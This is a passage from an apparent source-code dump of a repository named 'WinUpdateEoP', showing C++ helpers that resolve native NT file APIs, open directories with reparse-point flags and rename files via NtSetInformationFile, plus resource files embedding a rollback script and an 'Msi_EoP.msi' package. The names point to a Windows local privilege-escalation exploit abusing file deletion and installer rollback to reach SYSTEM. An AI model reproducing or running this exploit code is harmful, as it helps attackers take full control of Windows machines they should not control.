NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);\r\n\r\n    if (!NT_SUCCESS(retcode)) {\r\n        return NULL;\r\n    }\r\n    return hDir;\r\n}\r\nLPWSTR  BuildPath(LPCWSTR path) {\r\n    wchar_t ntpath[MAX_PATH];\r\n    swprintf(ntpath, L\"\\\\??\\\\%s\", path);\r\n    return ntpath;\r\n}\r\nVOID load() {\r\n    HMODULE ntdll = LoadLibraryW(L\"ntdll.dll\");\r\n    HMODULE storusage = LoadLibraryW(L\"storageusage.dll\");\r\n    if (ntdll != NULL || storusage != NULL) {\r\n        pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, \"RtlInitUnicodeString\");\r\n        pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, \"NtCreateFile\");\r\n\r\n        pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, \"NtSetInformationFile\");\r\n        pSetStorageSettings = (_SetStorageSettings)GetProcAddress(storusage, \"SetStorageSettings\");\r\n    }\r\n    if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL || pNtSetInformationFile == NULL) {\r\n        printf(\"Cannot load api's %d\\n\", GetLastError());\r\n        exit(0);\r\n    }\r\n\r\n\r\n}\r\nBOOL Move(HANDLE hFile, std::wstring drive, LPCWSTR path) {\r\n    if (hFile == INVALID_HANDLE_VALUE) {\r\n        printf(\"[!] Invalid handle!\\n\");\r\n        return FALSE;\r\n    }\r\n    wchar_t tmpfile[MAX_PATH] = { 0x0 };\r\n    RPC_WSTR str_uuid;\r\n    UUID uuid = { 0 };\r\n    UuidCreate(&uuid);\r\n    UuidToString(&uuid, &str_uuid);\r\n    if (path == NULL)\r\n    {\r\n        _swprintf(tmpfile, L\"\\\\??\\\\%s\\\\%s\", drive.c_str(), str_uuid);\r\n    }\r\n    else\r\n    {\r\n        _swprintf(tmpfile, L\"\\\\??\\\\%s\\\\%s\", drive.c_str(), path);\r\n    }\r\n    size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t));\r\n    FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz);\r\n    IO_STATUS_BLOCK io = { 0 };\r\n    rename_info->ReplaceIfExists = TRUE;\r\n    rename_info->RootDirectory = NULL;\r\n    rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;\r\n    rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);\r\n    memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t));\r\n    NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65);\r\n    if (status != 0) {\r\n        return FALSE;\r\n    }\r\n    return TRUE;\r\n}"
  },
  {
    "path": "WinUpdateEoP/resource.h",
    "content": "//{{NO_DEPENDENCIES}}\r\n// Microsoft Visual C++ generated include file.\r\n// Used by FolderOrFileDeleteToSystem.rc\r\n//\r\n#define IDR_RBS1                        101\r\n#define IDR_MSI1                        102\r\n#define IDR_RBF1                        106\r\n\r\n// Next default values for new objects\r\n// \r\n"
  },
  {
    "path": "WinUpdateEoP/resource.rc",
    "content": "// Microsoft Visual C++ generated resource script.\r\n//\r\n#include \"resource.h\"\r\n\r\n#define APSTUDIO_READONLY_SYMBOLS\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Generated from the TEXTINCLUDE 2 resource.\r\n//\r\n#include \"winres.h\"\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n#undef APSTUDIO_READONLY_SYMBOLS\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n// English (United States) resources\r\n\r\n#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)\r\nLANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US\r\n#pragma code_page(1252)\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// RBF\r\n//\r\n\r\n\r\n#endif    // English (United States) resources\r\n/////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n// English (United Kingdom) resources\r\n\r\n#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG)\r\nLANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK\r\n#pragma code_page(1252)\r\n\r\n#ifdef APSTUDIO_INVOKED\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// TEXTINCLUDE\r\n//\r\n\r\n1 TEXTINCLUDE \r\nBEGIN\r\n    \"resource.h\\0\"\r\nEND\r\n\r\n2 TEXTINCLUDE \r\nBEGIN\r\n    \"#include \"\"winres.h\"\"\\r\\n\"\r\n    \"\\0\"\r\nEND\r\n\r\n3 TEXTINCLUDE \r\nBEGIN\r\n    \"\\r\\n\"\r\n    \"\\0\"\r\nEND\r\n\r\n#endif    // APSTUDIO_INVOKED\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// RBS\r\n//\r\n\r\nIDR_RBS1                RBS                     \"5eeabb3.rbs\"\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// MSI\r\n//\r\n\r\nIDR_MSI1                MSI                     \"Msi_EoP.msi\"\r\n\r\n#endif    // English (United Kingdom) resources\r\n/////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n\r\n#ifndef APSTUDIO_INVOKED\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Generated from the TEXTINCLUDE 3 resource.\r\n//\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n#endif    // not APSTUDIO_INVOKED\r\n"
  }
]